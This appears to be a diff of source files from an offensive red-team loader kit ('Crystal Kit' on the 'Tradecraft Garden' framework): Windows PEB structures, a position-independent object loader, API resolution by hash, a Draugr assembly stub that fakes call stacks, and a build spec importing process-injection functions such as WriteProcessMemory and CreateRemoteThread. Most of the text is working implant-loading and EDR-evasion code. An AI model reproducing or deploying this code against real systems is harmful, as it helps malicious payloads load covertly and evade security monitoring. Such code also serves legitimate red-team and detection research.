|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
@@ -0,0 +1,25 @@
|
||||
#include <windows.h>
|
||||
|
||||
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
|
||||
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
|
||||
void dprintf(char * format, ...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
|
||||
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
|
||||
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
MSVCRT$vsnprintf(temp, len + 1, format, args);
|
||||
KERNEL32$OutputDebugStringA(temp);
|
||||
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
int codeLength;
|
||||
int dataLength;
|
||||
int rsrcOffset;
|
||||
int entryAddress;
|
||||
} PICO_HDR;
|
||||
|
||||
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
|
||||
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
|
||||
|
||||
#define PICO_INST_COMPLETE 0x0
|
||||
#define PICO_INST_PATCH 0x1
|
||||
#define PICO_INST_COPY 0x2
|
||||
#define PICO_INST_LL 0x3
|
||||
#define PICO_INST_GPA 0x4
|
||||
#define PICO_INST_PATCH_DIFF 0x5
|
||||
#define PICO_INST_PATCH_FUNC 0x6
|
||||
|
||||
#define PICO_PATCH_TEXT_TEXT 0x0
|
||||
#define PICO_PATCH_TEXT_BASE 0x1
|
||||
#define PICO_PATCH_BASE_TEXT 0x2
|
||||
#define PICO_PATCH_BASE_BASE 0x3
|
||||
|
||||
#define PICO_PATCHF_FUNC 0x0
|
||||
|
||||
#define PICO_CONTEXT_CODE 0x5
|
||||
#define PICO_CONTEXT_DATA 0x6
|
||||
|
||||
typedef struct {
|
||||
char type;
|
||||
char option;
|
||||
short length;
|
||||
} PICO_DIRECTIVE_HDR;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int offset;
|
||||
} PICO_DIRECTIVE_PATCH;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int src_offset;
|
||||
int dst_offset;
|
||||
int total;
|
||||
} PICO_DIRECTIVE_COPY;
|
||||
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
|
||||
}
|
||||
|
||||
int PicoCodeSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->codeLength;
|
||||
}
|
||||
|
||||
int PicoDataSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->dataLength;
|
||||
}
|
||||
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
|
||||
PICO_DIRECTIVE_HDR * entry;
|
||||
PICO_DIRECTIVE_PATCH * patch;
|
||||
PICO_DIRECTIVE_COPY * copy;
|
||||
HANDLE module;
|
||||
char * address;
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
|
||||
entry = FIRST_PICO_DIRECTIVE(hdr);
|
||||
while (TRUE) {
|
||||
/*
|
||||
* The heart and soul of PICO loading. Patching pointers into our destination blob
|
||||
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
|
||||
* so there's a lot more patches there. But x64 needs some pointer patching too.
|
||||
*/
|
||||
if (entry->type == PICO_INST_PATCH) {
|
||||
ULONG_PTR value;
|
||||
ULONG_PTR src;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCH_TEXT_TEXT) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_TEXT_BASE) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_TEXT) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_BASE) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
|
||||
/* get the existing offset (from whatever base) within the .text section */
|
||||
value += *(ULONG_PTR *)(src + patch->offset);
|
||||
|
||||
/* set it back */
|
||||
*(ULONG_PTR *)(src + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This block is for updating our function table sitting in our data section. We're
|
||||
* either dumping the last resolved address at some specific slot OR we're pulling in
|
||||
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
|
||||
* structure... which we're treating as an array of function pointers basically)
|
||||
*/
|
||||
else if (entry->type == PICO_INST_PATCH_FUNC) {
|
||||
ULONG_PTR value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCHF_FUNC) {
|
||||
value = (ULONG_PTR)address;
|
||||
}
|
||||
else {
|
||||
ULONG_PTR * table = (ULONG_PTR *)funcs;
|
||||
value = table[entry->option - 1];
|
||||
}
|
||||
|
||||
*(ULONG_PTR *)(dstData + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This is here to support keeping code + data in separate regions in x64 builds.
|
||||
*/
|
||||
#ifdef WIN_X64
|
||||
else if (entry->type == PICO_INST_PATCH_DIFF) {
|
||||
DWORD value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
/* fetch the value currently at the patch address */
|
||||
value = *(DWORD *)(dstCode + patch->offset);
|
||||
|
||||
/* adjust the value */
|
||||
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
|
||||
|
||||
/* set it back */
|
||||
*(DWORD *)(dstCode + patch->offset) = value;
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* Directive copies from our packed src to our destination. We do it this way to allow
|
||||
* our .text section to pack down to its raw value and we expand it to its page-aligned
|
||||
* size after.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COPY) {
|
||||
copy = (PICO_DIRECTIVE_COPY *)entry;
|
||||
char * dst;
|
||||
|
||||
/* make sure we're copying to the right context */
|
||||
if (entry->option == PICO_CONTEXT_CODE)
|
||||
dst = dstCode;
|
||||
else
|
||||
dst = dstData;
|
||||
|
||||
/* do our copy */
|
||||
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
|
||||
}
|
||||
/*
|
||||
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
|
||||
* GetProcAddress lookups based on this later on.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_LL) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
module = funcs->LoadLibraryA(arg);
|
||||
}
|
||||
/*
|
||||
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
|
||||
* this pointer to the appropriate spot within our PICO blob.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_GPA) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
address = (char *)funcs->GetProcAddress(module, arg);
|
||||
}
|
||||
/*
|
||||
* An instruction to indicate the loading is complete and we should return.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COMPLETE) {
|
||||
return;
|
||||
}
|
||||
|
||||
entry = NEXT_PICO_DIRECTIVE(entry);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
|
||||
/*
|
||||
* This is just the Draugr assembly stub used to prep the stack
|
||||
* and make the API call. It does mean that anything calling this
|
||||
* has to do the work of prepping the structs with the fake
|
||||
* frame data and such...
|
||||
*/
|
||||
|
||||
void * __attribute__((naked)) SpoofStub()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"pop rax;" // Real return address in rax
|
||||
"mov r10, rdi;" // Store OG rdi in r10
|
||||
"mov r11, rsi;" // Store OG rsi in r11
|
||||
"mov rdi, [rsp + 32];" // Storing struct in rdi
|
||||
"mov rsi, [rsp + 40];" // Storing function to call
|
||||
|
||||
// Storing our original registers
|
||||
"mov [rdi + 24], r10;" // Storing OG rdi into param
|
||||
"mov [rdi + 88], r11;" // Storing OG rsi into param
|
||||
"mov [rdi + 96], r12;" // Storing OG r12 into param
|
||||
"mov [rdi + 104], r13;" // Storing OG r13 into param
|
||||
"mov [rdi + 112], r14;" // Storing OG r14 into param
|
||||
"mov [rdi + 120], r15;" // Storing OG r15 into param
|
||||
"mov r12, rax;" // OG code used r12 for ret addr
|
||||
|
||||
// Prepping to move stack args
|
||||
"xor r11, r11;" // r11 will hold the # of args that have been pushed
|
||||
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
|
||||
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
|
||||
"add r14, 8;"
|
||||
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
|
||||
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
|
||||
"add r14, [rdi + 32];" // stack size of our gadget frame
|
||||
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
|
||||
"mov r10, rsp;"
|
||||
"add r10, 0x30;" // offset of stack arg added to rsp
|
||||
"looping:;"
|
||||
"xor r15, r15;" // r15 will hold the offset + rsp base
|
||||
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
|
||||
"je finish;"
|
||||
|
||||
// Getting location to move the stack arg to
|
||||
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
"mov r15, rsp;" // get current stack base
|
||||
"sub r15, r14;" // subtract offset
|
||||
|
||||
// Procuring the stack arg
|
||||
"add r10, 8;"
|
||||
"push qword ptr [r10];"
|
||||
"pop qword ptr [r15];"
|
||||
|
||||
// Increment the counter and loop back in case we need more args
|
||||
"add r11, 1;"
|
||||
"jmp looping;"
|
||||
"finish:;"
|
||||
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
|
||||
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
|
||||
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
|
||||
"mov r11, [rdi + 64];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
|
||||
"mov r11, [rdi + 40];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 48];" // Gadget frame
|
||||
"mov r11, [rdi + 80];"
|
||||
"mov [rsp], r11;"
|
||||
// Adjusting the param struct for the fixup
|
||||
"mov r11, rsi;" // Copying function to call into r11
|
||||
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
|
||||
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
|
||||
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
|
||||
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
|
||||
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
|
||||
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// in param struct first.Otherwise, this is ignored by the callee.
|
||||
"mov r10, rcx;"
|
||||
"mov rax, [rdi + 72];"
|
||||
"jmp r11;"
|
||||
"fixup:;"
|
||||
"mov rcx, rbx;"
|
||||
"add rsp, 0x200;" // Remove our large frame
|
||||
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
|
||||
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
|
||||
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
|
||||
"mov rbx, [rcx + 16];" // Restoring OG RBX
|
||||
"mov rdi, [rcx + 24];" // Restoring OG rdi
|
||||
"mov rsi, [rcx + 88];" // Restoring OG rsi
|
||||
"mov r12, [rcx + 96];" // Restoring OG r12
|
||||
"mov r13, [rcx + 104];" // Restoring OG r13
|
||||
"mov r14, [rcx + 112];" // Restoring OG r14
|
||||
"mov r15, [rcx + 120];" // Restoring OG r15
|
||||
"push rax;"
|
||||
"xor rax, rax;"
|
||||
"pop rax;"
|
||||
"jmp qword ptr [rcx + 8];"
|
||||
|
||||
".att_syntax prefix"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _DRAUGR_PARAMETERS {
|
||||
PVOID Fixup; // 0
|
||||
PVOID OriginalReturnAddress; // 8
|
||||
PVOID Rbx; // 16
|
||||
PVOID Rdi; // 24
|
||||
PVOID BaseThreadInitThunkStackSize; // 32
|
||||
PVOID BaseThreadInitThunkReturnAddress; // 40
|
||||
PVOID TrampolineStackSize; // 48
|
||||
PVOID RtlUserThreadStartStackSize; // 56
|
||||
PVOID RtlUserThreadStartReturnAddress; // 64
|
||||
PVOID Ssn; // 72
|
||||
PVOID Trampoline; // 80
|
||||
PVOID Rsi; // 88
|
||||
PVOID R12; // 96
|
||||
PVOID R13; // 104
|
||||
PVOID R14; // 112
|
||||
PVOID R15; // 120
|
||||
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
|
||||
|
||||
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
@@ -0,0 +1,108 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Walk the Export Address Table to resolve functions by hash
|
||||
*/
|
||||
|
||||
char * findModuleByHash(DWORD moduleHash) {
|
||||
_PEB * pPEB;
|
||||
LDR_DATA_TABLE_ENTRY * pEntry;
|
||||
char * name;
|
||||
DWORD hashValue;
|
||||
USHORT counter;
|
||||
|
||||
/* get the Process Enviroment Block */
|
||||
#if defined WIN_X64
|
||||
pPEB = (_PEB *)__readgsqword( 0x60 );
|
||||
#elif defined WIN_X86
|
||||
pPEB = (_PEB *)__readfsdword( 0x30 );
|
||||
#else
|
||||
#error "Neither WIN_X64 or WIN_X86 is defined"
|
||||
#endif
|
||||
|
||||
/* walk the module list */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
|
||||
|
||||
while (pEntry) {
|
||||
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
|
||||
We are walking and hashing this string, one byte at a time */
|
||||
name = (char *)pEntry->BaseDllName.pBuffer;
|
||||
counter = pEntry->BaseDllName.Length;
|
||||
|
||||
/* calculate the hash of our DLL name */
|
||||
hashValue = 0;
|
||||
do {
|
||||
hashValue = ror(hashValue);
|
||||
if (*name >= 'a')
|
||||
hashValue += (BYTE)*name - 0x20;
|
||||
else
|
||||
hashValue += (BYTE)*name;
|
||||
|
||||
name++;
|
||||
} while (--counter);
|
||||
|
||||
/* if we have a match, return it */
|
||||
if (hashValue == moduleHash)
|
||||
return pEntry->DllBase;
|
||||
|
||||
/* next entry */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction) {
|
||||
DLLDATA data;
|
||||
IMAGE_DATA_DIRECTORY * exportTableHdr;
|
||||
IMAGE_EXPORT_DIRECTORY * exportDir;
|
||||
DWORD * exportName;
|
||||
WORD * exportOrdinal;
|
||||
DWORD * exportAddress;
|
||||
DWORD hashValue;
|
||||
|
||||
/* parse our DLL! */
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* grab our export directory */
|
||||
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||||
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
|
||||
|
||||
/* walk the array of exported names/address ordinals */
|
||||
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
|
||||
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
|
||||
|
||||
while (TRUE) {
|
||||
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
|
||||
if (hashValue == wantedFunction) {
|
||||
/* figure out the base of our AddressOfFunctions array */
|
||||
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
|
||||
|
||||
/* increment it by the current value of our exportOrdinal array */
|
||||
exportAddress += *exportOrdinal;
|
||||
|
||||
/* and... there-in is our virtual address to the actual ptr we want */
|
||||
return PTR_OFFSET(src, *exportAddress);
|
||||
}
|
||||
|
||||
exportName++;
|
||||
exportOrdinal++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
|
||||
int _strncmp(const char* s1, const char* s2, SIZE_T n)
|
||||
{
|
||||
while (n-- > 0)
|
||||
{
|
||||
unsigned char c1 = (unsigned char)*s1++;
|
||||
unsigned char c2 = (unsigned char)*s2++;
|
||||
|
||||
if (c1 != c2)
|
||||
return c1 - c2;
|
||||
|
||||
if (c1 == '\0')
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
debug: bin/debug.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
bin/debug.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -0,0 +1,27 @@
|
||||
name "Crystal Kit"
|
||||
describe ""
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic
|
||||
|
||||
load "bin/proxy.x64.o"
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "my_proxy"
|
||||
|
||||
generate $HKEY 128
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object
|
||||
patch "xorkey" $HKEY
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
|
||||
export
|
||||
link "my_hooks"
|
||||
|
||||
push $DLL
|
||||
link "my_data"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Save you some headache doing a PIC printf for debugging
|
||||
*/
|
||||
#ifndef WIN32_FUNC
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
#endif
|
||||
|
||||
#define PIC_STRING(name, str) char name[] = { str }
|
||||
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
|
||||
|
||||
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(OutputDebugStringA);
|
||||
vsnprintf_t vsnprintf;
|
||||
} DPRINTFFUNCS;
|
||||
|
||||
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
|
||||
int len;
|
||||
char * temp;
|
||||
|
||||
/* figure out the length of our buffer */
|
||||
len = funcs->vsnprintf(NULL, 0, format, *args);
|
||||
|
||||
/* allocate our memory */
|
||||
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
//__stosb((unsigned char *)temp, 0, len + 1);
|
||||
|
||||
/* format everything */
|
||||
funcs->vsnprintf(temp, len + 1, format, *args);
|
||||
|
||||
/* printf it */
|
||||
funcs->OutputDebugStringA(temp);
|
||||
|
||||
/* free our memory and move on with our lives */
|
||||
funcs->VirtualFree(temp, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
|
||||
va_list args;
|
||||
HMODULE mod;
|
||||
|
||||
DPRINTFFUNCS funcs;
|
||||
|
||||
PIC_STRING(kern32, "KERNEL32");
|
||||
PIC_STRING(vastr, "VirtualAlloc");
|
||||
PIC_STRING(vfstr, "VirtualFree");
|
||||
PIC_STRING(odstr, "OutputDebugStringA");
|
||||
PIC_STRING(msvcrt, "MSVCRT");
|
||||
PIC_STRING(pfstr, "vsnprintf");
|
||||
|
||||
mod = ifuncs->LoadLibraryA(kern32);
|
||||
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
|
||||
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
|
||||
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
|
||||
|
||||
mod = ifuncs->LoadLibraryA(msvcrt);
|
||||
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
|
||||
|
||||
va_start(args, format);
|
||||
__dprintf(&funcs, format, &args);
|
||||
va_end(args);
|
||||
}
|
